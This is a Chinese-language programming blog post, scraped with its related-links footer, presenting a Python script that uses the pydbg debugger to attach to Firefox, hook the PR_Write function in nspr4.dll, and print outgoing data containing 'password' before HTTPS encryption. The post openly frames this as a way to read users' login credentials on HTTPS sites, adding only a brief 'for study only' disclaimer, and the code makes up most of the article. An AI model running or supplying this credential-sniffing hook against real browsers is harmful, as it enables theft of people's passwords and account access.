python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
在python的WEB框架Flask中使用多个配置文件的解决方法
Apr 18 Python
python开发之文件操作用法实例
Nov 13 Python
Python 中pandas.read_excel详细介绍
Jun 23 Python
python MySQLdb使用教程详解
Mar 20 Python
Django REST framework内置路由用法
Jul 26 Python
django中使用Celery 布式任务队列过程详解
Jul 29 Python
django多文件上传,form提交,多对多外键保存的实例
Aug 06 Python
Flask框架学习笔记之使用Flask实现表单开发详解
Aug 12 Python
Python实现的微信红包提醒功能示例
Aug 22 Python
Python的垃圾回收机制详解
Aug 28 Python
python3获取文件中url内容并下载代码实例
Dec 27 Python
详解用Pytest+Allure生成漂亮的HTML图形化测试报告
Mar 31 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
PHP4实际应用经验篇(9)
2006/10/09 PHP
php 文件缓存函数
2011/10/08 PHP
基于命令行执行带参数的php脚本并取得参数的方法
2016/01/25 PHP
Smarty模板变量调节器用法分析
2016/05/23 PHP
THINKPHP截取中文字符串函数实例代码
2017/03/20 PHP
PHP从零开始打造自己的MVC框架之入口文件实现方法详解
2019/06/03 PHP
jquery 简短几句代码实现给元素动态添加及获取提示信息
2011/09/01 Javascript
Jjcarousellite 实现图片列表滚动的简单实例
2013/11/29 Javascript
JS中getYear()和getFullYear()区别分析
2014/07/04 Javascript
js的image onload事件使用遇到的问题
2014/07/15 Javascript
JavaScript中的函数嵌套使用
2015/06/04 Javascript
JavaScript中的some()方法使用详解
2015/06/09 Javascript
jQuery实现文本框邮箱输入自动补全效果
2015/11/17 Javascript
JS判断浏览器是否安装flash插件的简单方法
2016/09/13 Javascript
bootstarp modal框居中显示的实现代码
2017/02/18 Javascript
switchery按钮的使用方法
2017/12/18 Javascript
JS实现点击生成UUID的方法完整实例【基于jQuery】
2019/06/12 jQuery
js实现简易点击切换显示或隐藏
2020/11/29 Javascript
[50:50]完美世界DOTA2联赛PWL S3 Galaxy Racer vs Phoenix 第一场 12.10
2020/12/13 DOTA
Python错误提示:[Errno 24] Too many open files的分析与解决
2017/02/16 Python
python3爬取数据至mysql的方法
2018/06/26 Python
分析经典Python开发工程师面试题
2019/04/08 Python
Python获取、格式化当前时间日期的方法
2020/02/10 Python
Python基于stuck实现scoket文件传输
2020/04/02 Python
vscode调试django项目的方法
2020/08/06 Python
html5+css3气泡组件的实现
2014/11/21 HTML / CSS
科颜氏英国官网:Kiehl’s英国
2019/11/20 全球购物
化工机械应届生求职信
2013/11/04 职场文书
《蒙娜丽莎之约》教学反思
2014/02/27 职场文书
构建高效课堂实施方案
2014/03/13 职场文书
公共场所禁烟标语
2014/06/25 职场文书
环卫工作个人总结
2015/03/04 职场文书
格列佛游记读书笔记
2015/06/30 职场文书
大学生暑期实践报告
2015/07/13 职场文书
Python实现自动玩连连看的脚本分享
2022/04/04 Python
Fluentd搭建日志收集服务
2022/09/23 Servers